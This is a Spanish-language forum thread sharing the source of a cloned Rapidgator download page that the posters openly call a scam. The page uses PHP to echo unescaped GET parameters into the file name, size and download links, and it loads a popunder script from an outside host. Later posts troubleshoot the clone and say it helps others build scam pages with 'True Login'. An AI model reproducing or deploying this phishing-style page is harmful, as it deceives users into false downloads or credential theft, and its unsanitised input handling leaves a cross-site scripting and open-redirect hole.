    var refererCode = 4;
    (function() {
        var p = document.createElement('script'); p.type = 'text/javascript'; p.async = true;
        p.src = 'http://' + 'cdn3.kovla.com/static/js/popunder-3.js';
        var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(p, s);
    })();
</script></div>    <div class="in">
        <div class="text-block file-descr" style="height: 76px;">
            <div class="btm" style="height: 76px;">
                                <p style="word-wrap: break-word;width: 490px;line-height: 19px;">
                    <strong>
                        Downloading:
                    </strong>
                    <a href="">
                    <?php echo $_GET ["archivo"]?>                    </a>
                </p>
                    <div>
                        File size:
                        <strong><?php echo $_GET ["peso"]?></strong>
                    </div>
                            </div>
        </div>
        <div class="clear"></div>
        <div class="social_buttons">
            <!-- AddThis Button BEGIN -->
            <div class="addthis_toolbox addthis_default_style ">
            <a class="addthis_button_preferred_1"></a>
            <a class="addthis_button_preferred_2"></a>
            <a class="addthis_button_preferred_3"></a>
            <a class="addthis_button_preferred_4"></a>
            <a class="addthis_button_compact"></a>
            <a class="addthis_counter addthis_bubble_style"></a>
            </div>
            <script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=xa-4f1d3bb56c6cc840"></script>
            <!-- AddThis Button END -->
        </div>
        <div class="clear"></div>

        <!--<div class="text-block premiumcode">
            <div class="btm">
                <table>
                    <tr>
                        <td style="padding-top: 5px; padding-left: 20px;">
                            <p>
                                <strong>
                                    Если у вас есть премиум-код, введите его сюда:
                                </strong>
                            </p>
                        </td>
                        <td style="padding: 0 10px;">
                            <span class="txt" style="width: auto;">
                                <input class="text-input length" value="test" type="text" id="coupon_code" name="coupon_code" style="width: auto;" />
                            </span>
                        </td>
                        <td>
                            <a href="#" class="btn" id="btn-coupon-submit" style="width: 50px;">
                                <span>OK</span>
                            </a>
                        </td>
                    </tr>
                </table>
            </div>
        </div>-->

        <div class="text-block download-prepare">
            <div class="btm low_padding">
                <div class="table-download">
                    <style type="text/css">
    .table_header{
        background-color: #ffffdf;
        border: 1px solid #f1f1e0;
        border-bottom: 0px;
        min-height: 40px;
        font-weight: bold;
        line-height: 125%;
        text-align: center;
        padding: 8px;
        font-size: 16px;
    }
</style>
<div id="table_header" class="table_header">
    </div>                    <table>
                        <tr>
                            <th class="descr">
                                <strong>
                                    Choose download type                                </strong>
                            </th>
                            <th>
                                <a href="<?php echo $_GET["url"];?>" class="link act-link btn-free">
                                    SLOW SPEED DOWNLOAD                                </a>
                                <div class="download-timer">
                                    Wait                                    <span class="download-timer-seconds">

                                    </span>&nbsp;sec.                                </div>
                            </th>
                            <th>
                                <a href="http://rapidgator.net/article/premium" class="link active btn-premium">
                                    HIGH SPEED DOWNLOAD                                </a>
                            </th>
                        </tr>
                        <tr>
                            <td class="descr">
                                Download type:
                            </td>
                            <td>Free</td>
                            <td>
                                <strong>
                                    Premium                                </strong>
                            </td>
                        </tr>
                        <tr>
                            <td class="descr">
                                Download speed:
                            </td>
                            <td>
                                Limited                            </td>
                            <td>
                                <strong>
                                    Unlimited                                </strong>
                            </td>
                        </tr>
                        <tr>
                            <td class="descr">
                                Maximum parallel downloads:
                            </td>
                            <td>1</td>
                            <td>
                                <strong>
                                    Unlimited                                </strong>
                            </td>
                        </tr>
                        <tr>
                            <td class="descr">
                                Download restriction:
                            </td>
                            <td>
                                1 file per                                                                15 minutes                            </td>
                            <td>
                                <strong>
                                    NO                                </strong>
                            </td>
                        </tr>
                        <tr>
                            <td class="descr">
                                Direct/Hot Linking:
                            </td>
                            <td><span class="not-avaliable">Not Avaliable</span></td>
                            <td><span class="avaliable">Avaliable</span></td>
                        </tr>
                        <tr>
                            <td class="descr">
                                Downloads start instantly:
                            </td>
                            <td><span class="not-avaliable">Not Avaliable</span></td>
                            <td><span class="avaliable">Avaliable</span></td>
                        </tr>
                        <tr>
                            <td class="descr">
                                Fast download even when servers are busy:
                            </td>
                            <td><span class="not-avaliable">Not Avaliable</span></td>
                            <td><span class="avaliable">Avaliable</span></td>
                        </tr>
                        <tr>
                            <td class="descr">
                                Support for resuming downloads:
                            </td>
                            <td><span class="not-avaliable">Not Avaliable</span></td>

                            <td><span class="avaliable">Avaliable</span></td>
                        </tr>
                        <tr>
                            <td class="descr">
                                Support for download accelerators:
                            </td>
                            <td><span class="not-avaliable">Not Avaliable</span></td>
                            <td><span class="avaliable">Avaliable</span></td>
                        </tr>
                                                <tr>
                            <td class="descr">
                                Estimated Download time:
                            </td>
                            <td>
                                <a href="<?php echo $_GET["url"];?>" class="link act-link btn-free">
                                                                        4 minutes                                    26 seconds                                </a>
                                <div class="download-timer">
                                    Wait                                    <span class="download-timer-seconds">

                                    </span>&nbsp;sec.                                </div>
                            </td>
                            <td>
                                <a href="http://rapidgator.net/article/premium" class="link active btn-premium">
                                                                                                            20 seconds                                </a>
                            </td>
                        </tr>
                                            </table>
                </div>
            </div>
        </div>
        <div class="text-block download-ready">
            <div class="btm">
                <div class="box-download">
                    <a href="<?php echo $_GET["url"];?>" class="btn btn-download">
                            <span>
                                Click here to download                            </span>
                    </a>
                </div>
            </div>
        </div>
        <div class="text-block welcome">
        </div>
    </div>
</div>

<script type="text/javascript">
    var startTimerUrl = 'http://rapidgator.net/download/AjaxStartTimer';
    var getDownloadUrl = 'http://rapidgator.net/download/AjaxGetDownloadLink';
    var couponUrl = 'http://rapidgator.net/download/AjaxCouponVerify';
    var captchaUrl = 'http://rapidgator.net/download/captcha';
    var secs = 30;
    var mil_secs = 0;
    var download_link = '';
    var sid = '';
    var fid = 50398939;
    var premium_download_link = '';
    var is_premium = 0;
    var buy_premium_page = 'http://rapidgator.net/article/premium';
    var LABELS = {
        STARTING: 'Starting',
        ERROR: 'Error',
        GETTINGLINK: 'Getting link'
    };
    var elm_infobar = $(".table-download .table_header");
    var infobar_msg = '';
    var infobar_waitmsg = 'Please hold, download will start in <span class="seconds"></span> seconds. Do not wish to wait? Please <a href="/article/premium">click here</a>.<br>Premium users download files without delays and at maximum speed!';

    $(document).ready(function()
    {
        if (infobar_msg == '') {
            elm_infobar.hide();
        }

        if (is_premium == 1) {
            showReadyPage(premium_download_link);
        }

        /*$("#btn-coupon-submit").live('click', function(){
            var coupon_code = $("#coupon_code").val();
            $.getJSON(couponUrl, {coupon_code: coupon_code, file_id: fid}, function(data){
                if ( (data !== undefined && data == '') || data.error != '') {
                    var error_msg = '';
                    if (data.error !== undefined) {
                        error_msg = data.error;
                    } else {
                        error_msg = LABELS.ERROR + '. ' + LABELS.ADMINCONTACT;
                    }
                    alert(error_msg);
                } else {
                    showReadyPage(data.download_url);
                }
            });
        });*/

        $(".btn-premium").click(function(){
            location.href = buy_premium_page;
            return false;
        });

        $(".btn-free").click(function(){
            $(".btn-free").html(LABELS.STARTING + '...');
            $.getJSON(startTimerUrl, {fid: fid}, function(data){
                if (data.state !== undefined && data.state == 'error') {
                    alert(LABELS.ERROR + ' ' + data.code);
                    location.reload();
                } else {
                    if (data.state !== undefined && data.state == 'started') {
                        $(".btn-free").hide();
                        $(".download-timer").show();
                        if (data.sid !== undefined) {
                            sid = data.sid;
                        }
                        startTimer();
                    }
                }
            });
            return false;
        });

        $(".btn-download").live('click', function() {
        location.href = download_link;

            return false;
        });

        if (startTimerUrl == '') {
            $(".btn-free").unbind('click');
        }
    });

    function showReadyPage(dwnlink)
    {
        $('.download-prepare').hide();
        $('.premiumcode').hide();
        download_link = dwnlink;
        $('.download-ready').show();
    }

    function startTimer()
    {
        elm_infobar.html(infobar_waitmsg);
        var domTimer = $(".download-timer .download-timer-seconds");
        var infobarSecs = $(".table-download .table_header .seconds");
        domTimer.text(secs);
        infobarSecs.text(secs);
        elm_infobar.show();
        var timer = window.setInterval(function() {
            if (secs > 0) {
                secs--;
                domTimer.text(secs);
                infobarSecs.text(secs);
            } else {
                window.clearInterval(timer);
                getDownloadLink();
            }
        }, 1000);
    }

    function getDownloadLink()
    {
        $(".download-timer").html(LABELS.GETTINGLINK + '...');
        $.getJSON(getDownloadUrl, {sid: sid}, function(data){
            if (data.state !== undefined && data.state == 'error') {
                alert(LABELS.ERROR + ' ' + data.code);
                location.reload();
            } else {
                if (data.state !== undefined
                    && data.state == 'done') {
                    location.href = captchaUrl;
                    // showReadyPage(data.download_link);
                }
            }
        });
    }
</script>

        </div>
    </div>
</div>
<div class="footer">
    <div class="in">
        <p>Copyright © 2010-2012 Rapidgator.net, All rights reserved</p>
        <ul>
            <li><a href="http://rapidgator.net/article/privacyPolicy">Privacy Policy</a></li>
            <li><a href="http://rapidgator.net/article/terms">Terms and Conditions</a></li>
            <li><a href="http://rapidgator.net/article/intellectPolicy">DMCA</a></li>
            <li><a href="http://rapidgator.net/feedback/contact/q/6">Report abuse</a></li>
            <li><a href="http://rapidgator.net/linkchecker/check">Link checker</a></li>
            <li><a href="http://rapidgator.net/article/about">About us</a></li>
            <li>
                <a target="_blank" href="http://www.facebook.com/RapidGator"><span><img alt="Facebook" src="http://rapidgator.net/images/facebook-16x16.png" class="img"/></span></a>&nbsp;
                <a target="_blank" href="https://twitter.com/#!/Rapidgator"><span><img alt="Twitter" src="http://rapidgator.net/images/twitter-16x16.png" class="img"/></span></a>
            </li>
        </ul>
    </div>
</div>

<script type="text/javascript">
/*<![CDATA[*/
jQuery(function($) {
jQuery('#gr3tefg_0').after("<div><a id=\"yw0_button\" href=\"\/auth\/captcha\/refresh\/1\">Refresh<\/a><\/div>");
jQuery('#yw0_button').live('click',function(){
        jQuery.ajax({
                url: "\/auth\/captcha\/refresh\/1",
                dataType: 'json',
                cache: false,
                success: function(data) {
                        jQuery('#yw0').attr('src', data['url']);
                        jQuery('body').data('auth/captcha.hash', [data['hash1'], data['hash2']]);
                }
        });
        return false;
});

});
/*]]>*/
</script>
</body>
</html>


Saludos.
Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.

Antes que nada, gracias por la ayuda, de veras que sos un tipo de palabra y la cumpliste. Y con respecto a scam, es 100% mio, lo hice copiando el codigo fuente de la pag, y luego insertando script php para editarlo en la direccion de enlace. Con respecto al codigo Curl, lo saque (previo permiso por e-mail) de un generador de scams de megaupload que habia hecho st3mp hace tiempo y traté de adaptarlo.

Igualmente gracias por la ayuda no solo a mi, sino a todos los que en un futuro esten interesados en armar scams con "True Login"
internet libre, y contenidos aún mas libres.

amigo, probé tu codigo y me salta error en estos conceptos "You are not allowed to view links."
era para avisarte solamente, saludos!
internet libre, y contenidos aún mas libres.

En realidad los errores son del codigo PHP que tenia. Utiliza parametros GET para saber el nombre de archivo y el peso. Te recomiendo que dejes dato constante y bueno agregale datos estatico mejor. Igual le agregas un error_reporting y no apareceran errores, aunque en lo personal no recomiendo utilizarlo.

Yo me comprometo a que el source funcione nomas.

Saludos.
Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.

muchas gracias por la ayuda nuevamente, saludos!!
internet libre, y contenidos aún mas libres.